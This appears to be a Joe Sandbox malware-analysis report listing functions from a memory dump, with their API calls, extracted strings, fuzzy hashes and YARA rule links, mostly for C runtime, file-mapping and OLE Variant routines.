Strings

,..., xrefs: 6F114473
,<ellipsis>, xrefs: 6F11447A, 6F11447F
void, xrefs: 6F1144D7
<ellipsis>, xrefs: 6F1144C9, 6F1144CE
..., xrefs: 6F1144C2

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: 11a4930c8f3f96d491a2236ccc03daabd75d24e3c8ca38fa35b5fd92a7d510b0
Instruction ID: 72d12385c6a9976fc6b2bea2f4be854390879e7834d12713fe021a4ddbb676b8
Opcode Fuzzy Hash: 11a4930c8f3f96d491a2236ccc03daabd75d24e3c8ca38fa35b5fd92a7d510b0
Instruction Fuzzy Hash: 06216DB4208508AFCB06DF58C4409A97BF4EBA67D9F00C1A5E855DF75ACB30E96BCB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F115D36 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 6F115D40
DName::DName.LIBCMT ref: 6F115D4C

Part of subcall function 6F113B3B: DName::doPchar.LIBCMT ref: 6F113B6C

UnDecorator::getScopedName.LIBCMT ref: 6F115D8B
DName::operator+=.LIBCMT ref: 6F115D95
DName::operator+=.LIBCMT ref: 6F115DA4
DName::operator+=.LIBCMT ref: 6F115DB0
DName::operator+=.LIBCMT ref: 6F115DBD

Strings

void, xrefs: 6F115D9C

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: d0208e7a4ec11288185a522b5440fcb7ef297a3074c3cd5e1449bd8e1b192471
Instruction ID: a4529da55c420f85038121b1dca426887a86cd29c2e6a4f2f513038bd8b3ece4
Opcode Fuzzy Hash: d0208e7a4ec11288185a522b5440fcb7ef297a3074c3cd5e1449bd8e1b192471
Instruction Fuzzy Hash: 4011C2B0508208AFDB05DB6CC88DBEC7BB09F51384F4041A9D455AB2D4EF30BA66CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6F0AFC30 Relevance: 13.7, APIs: 9, Instructions: 154fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,?,?,00000000,F3D820D6), ref: 6F0AFC98
CloseHandle.KERNEL32(FFFFFFFF,?,?,00000000,F3D820D6), ref: 6F0AFCAD
CloseHandle.KERNEL32(?,?,?,00000000,F3D820D6), ref: 6F0AFCB7
SetLastError.KERNEL32(00000000,?,?,00000000,F3D820D6), ref: 6F0AFCBA
CreateFileW.KERNEL32(?,-00000001,00000001,00000000,00000003,00000000,00000000,?,?,00000000,F3D820D6), ref: 6F0AFD01
GetFileSizeEx.KERNEL32(00000000,?,?,?,00000000,F3D820D6), ref: 6F0AFD14
GetLastError.KERNEL32(?,?,00000000,F3D820D6), ref: 6F0AFD2A
CreateFileMappingW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,?,00000000,F3D820D6), ref: 6F0AFD6B
MapViewOfFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,?,00000000,F3D820D6), ref: 6F0AFD98

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastView$MappingSizeUnmap
String ID:
API String ID: 1303881157-0
Opcode ID: 444ed5ad3db8dd1761eb8096c51c22a4dc0039e051485ca9ef84305c0fcc251e
Instruction ID: 31cf6b472dee9009779b5ee2a01a554db90710fc86b681c1ebe85b456f96737b
Opcode Fuzzy Hash: 444ed5ad3db8dd1761eb8096c51c22a4dc0039e051485ca9ef84305c0fcc251e
Instruction Fuzzy Hash: 955128B5600301ABDB008FB5D884B9A77E9AF49371F148659EC18CF2C7DB76D8418BE4

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B0CD0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0B0D3A
std::_Xinvalid_argument.LIBCPMT ref: 6F0B0D60
_memmove.LIBCMT ref: 6F0B0D95
std::_Xinvalid_argument.LIBCPMT ref: 6F0B0DBF
_memmove.LIBCMT ref: 6F0B0E3E

Strings

string too long, xrefs: 6F0B0D5B, 6F0B0DBA
invalid string position, xrefs: 6F0B0D35

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: 2870f02b56ecfdfa19daf5bc89453d76de160dcd6d77495947e89e2537de1bf9
Instruction ID: 0bb7ffecc44a12371a6a6dc03b9882d94ae53ec41b17ad0fafda9af9088a65a0
Opcode Fuzzy Hash: 2870f02b56ecfdfa19daf5bc89453d76de160dcd6d77495947e89e2537de1bf9
Instruction Fuzzy Hash: 855181323082049BD724CE5CDA90B5EB3E7EBC9754B609A2EE855C73C4DB72EC518B91

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BAA00 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0BAA54
VariantInit.OLEAUT32(?), ref: 6F0BAA5B
VariantInit.OLEAUT32(?), ref: 6F0BAA62
VariantInit.OLEAUT32(?), ref: 6F0BAA69
VariantClear.OLEAUT32(?), ref: 6F0BACF2
VariantClear.OLEAUT32(?), ref: 6F0BACF9
VariantClear.OLEAUT32(?), ref: 6F0BAD00
VariantClear.OLEAUT32(?), ref: 6F0BAD07

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 2915fc2b66a6c83754bb0a25f9bb521db5d786690cd2fe1acc092ec9b9235414
Instruction ID: 5dfbfb2415e8f7dd67729fe246485aac23b4f517581675c2756ad3ff2a93924c
Opcode Fuzzy Hash: 2915fc2b66a6c83754bb0a25f9bb521db5d786690cd2fe1acc092ec9b9235414
Instruction Fuzzy Hash: 17C137716087009FC300DF68C884E5AB7E6FFC8304F648A5EF9959B265D736E845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B9D00 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6F0B9DEB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0B9DFB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6F0B9E29
SafeArrayDestroy.OLEAUT32(?), ref: 6F0B9F25
VariantClear.OLEAUT32(?), ref: 6F0B9FE5

Strings

@, xrefs: 6F0B9DD7

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: 61d6676ff9cb281975b0e34fb8df24e43393ddedcc3cd476ff9b5a6f5ddfeb50
Instruction ID: a2a217afc7e5a457da4408614e2f7f88efbc27ee2a49b185ce1a45f0dd2fba9d
Opcode Fuzzy Hash: 61d6676ff9cb281975b0e34fb8df24e43393ddedcc3cd476ff9b5a6f5ddfeb50
Instruction Fuzzy Hash: 95D16A71E0025ACFDB00DFA8C8C0A9DBBF6FF98314F64816DE515AB254D732AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BB300 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6F0BB3EB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0BB3FB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6F0BB429
SafeArrayDestroy.OLEAUT32(?), ref: 6F0BB525
VariantClear.OLEAUT32(?), ref: 6F0BB5E5

Strings

@, xrefs: 6F0BB3D7

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: 903090f83da81569152927f514ede4518d124008f6ecf50d4d2776502f961fc7
Instruction ID: 91afff8ece40749f2be9bca45331e266e31d5259f15397fdcdf957b500f06364
Opcode Fuzzy Hash: 903090f83da81569152927f514ede4518d124008f6ecf50d4d2776502f961fc7
Instruction Fuzzy Hash: 21D167B1D042498FDF00DFA8C9C0BADBBF5BF48304F64816EE515AB255D736AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F1144E9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 6F114532
DName::operator+.LIBCMT ref: 6F114539
DName::DName.LIBCMT ref: 6F11455B
DName::operator+.LIBCMT ref: 6F114562
DName::operator+.LIBCMT ref: 6F114569

Strings

throw(, xrefs: 6F11452A, 6F114553

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: f1894c040417e5a07cc6fefbc9d84127e6b3a5f3a7eda763ec815d9c96f066b0
Instruction ID: 0aa8a94f4f85f22e51f33e46d9804a34736f5faed8752d5b7b7ace8f95547a9c
Opcode Fuzzy Hash: f1894c040417e5a07cc6fefbc9d84127e6b3a5f3a7eda763ec815d9c96f066b0
Instruction Fuzzy Hash: 6A019274604209AFCF04DBA4D856DEE7BB9EB85788F404165E9019B2D4EB30F9668B90

Uniqueness

Uniqueness Score: -1.00%

Function 6F10E9B9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6F139880,00000008,6F10EAC1,00000000,00000000,?,?,6F10D7DD,6F109DEF,00000000,?,6F109BD4,6F0A1290,F3D820D6), ref: 6F10E9CA
__lock.LIBCMT ref: 6F10E9FE

Part of subcall function 6F112438: __mtinitlocknum.LIBCMT ref: 6F11244E
Part of subcall function 6F112438: __amsg_exit.LIBCMT ref: 6F11245A
Part of subcall function 6F112438: EnterCriticalSection.KERNEL32(6F109BD4,6F109BD4,?,6F10EA03,0000000D), ref: 6F112462

InterlockedIncrement.KERNEL32(FFFFFEF5), ref: 6F10EA0B
__lock.LIBCMT ref: 6F10EA1F
___addlocaleref.LIBCMT ref: 6F10EA3D

Strings

KERNEL32.DLL, xrefs: 6F10E9C5

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 8d09bb6111e763796ed605ec2a5fcf772713336a6ec3eff7c8d8b39ce050efa1
Instruction ID: c3fe3b5b03e9a0a245153d7ed3828346c59b2410c644d2f047337372fbce9fd5
Opcode Fuzzy Hash: 8d09bb6111e763796ed605ec2a5fcf772713336a6ec3eff7c8d8b39ce050efa1
Instruction Fuzzy Hash: F6015E71444B04DFD720AFA6D404749BBE0BF553A4F50891DD89A966D0CF70A664CB15

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B7370 Relevance: 9.1, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

InitializeCriticalSection.KERNEL32(00000000,?,00000000,00000000,6F1211FD,000000FF,?,6F0B8B80,00000000,?,00000000,?,6F0B8C13,?,?), ref: 6F0B7415
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000,6F1211FD,000000FF,?,6F0B8B80,00000000,?,00000000,?,6F0B8C13,?,?), ref: 6F0B741B
std::exception::exception.LIBCMT ref: 6F0B743D
__CxxThrowException@8.LIBCMT ref: 6F0B7452
std::exception::exception.LIBCMT ref: 6F0B7461
__CxxThrowException@8.LIBCMT ref: 6F0B7476

Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C04
Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C1E
Part of subcall function 6F109BB5: __CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$CriticalInitializeSection$_malloc
String ID:
API String ID: 189561132-0
Opcode ID: 6064ae2f15fbb5fa4a1724238934aa5098b579eee3edf6cc5532c74175da9f23
Instruction ID: a42b51ad2603232e7f11a5b3bcac73818c7202bc3f7cb3968b0ef14daa4d6c1a
Opcode Fuzzy Hash: 6064ae2f15fbb5fa4a1724238934aa5098b579eee3edf6cc5532c74175da9f23
Instruction Fuzzy Hash: 504149B2900748AFC711DF99C890A9AFBF8FB59250F40866EE81697B40D771F914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CC150 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0CC180
SafeArrayPutElement.OLEAUT32(00000000,6F0C3749,?), ref: 6F0CC1B8
VariantClear.OLEAUT32(?), ref: 6F0CC1C4
VariantCopy.OLEAUT32(6F0C3749,?), ref: 6F0CC21B
VariantClear.OLEAUT32(?), ref: 6F0CC22F
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0CC23E

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafeVariant$Clear$CopyCreateDestroyElementVector
String ID:
API String ID: 3979206172-0
Opcode ID: e11958d189ab893f55c922e606a7b3750613352fbe34d8ac52befa2f1c31b55e
Instruction ID: 95e2ac23cbf64ba04da10f5ccba42a43a058d6c54a9cf2a3ead02313e08ef8af
Opcode Fuzzy Hash: e11958d189ab893f55c922e606a7b3750613352fbe34d8ac52befa2f1c31b55e
Instruction Fuzzy Hash: AA316C71A00649AFDB00DFE9C894B9EBBB8FF49350F108129E915D7350EB31E941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6F11249C Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000100,?,?,?,?,?,6F1125B1,?,00000000,?), ref: 6F1124E6
_malloc.LIBCMT ref: 6F11251B
_memset.LIBCMT ref: 6F11253B
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,?,00000001,?,00000000,00000001,00000000), ref: 6F112550
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6F11255E
__freea.LIBCMT ref: 6F112568

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ByteCharMultiWide$StringType__freea_malloc_memset
String ID:
API String ID: 525495869-0
Opcode ID: b9b70a34b99b6ac8d89036a59022d62c84998152c4717d838dde7678a78a6916
Instruction ID: 625b89b98c4cb4c7a27536d1e0ede3b828cb3b4f8b06d26a3e8f4901c9efcba8
Opcode Fuzzy Hash: b9b70a34b99b6ac8d89036a59022d62c84998152c4717d838dde7678a78a6916
Instruction Fuzzy Hash: 05315E71604249AFEB01DF64DCD0DEE7BA9EB5A394F110436F91496290EB34E9709F60

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D70E0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6F0D7267

Strings

: IV length , xrefs: 6F0D719E, 6F0D72D7
exceeds the maximum of , xrefs: 6F0D7309
is less than the minimum of , xrefs: 6F0D71D0

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
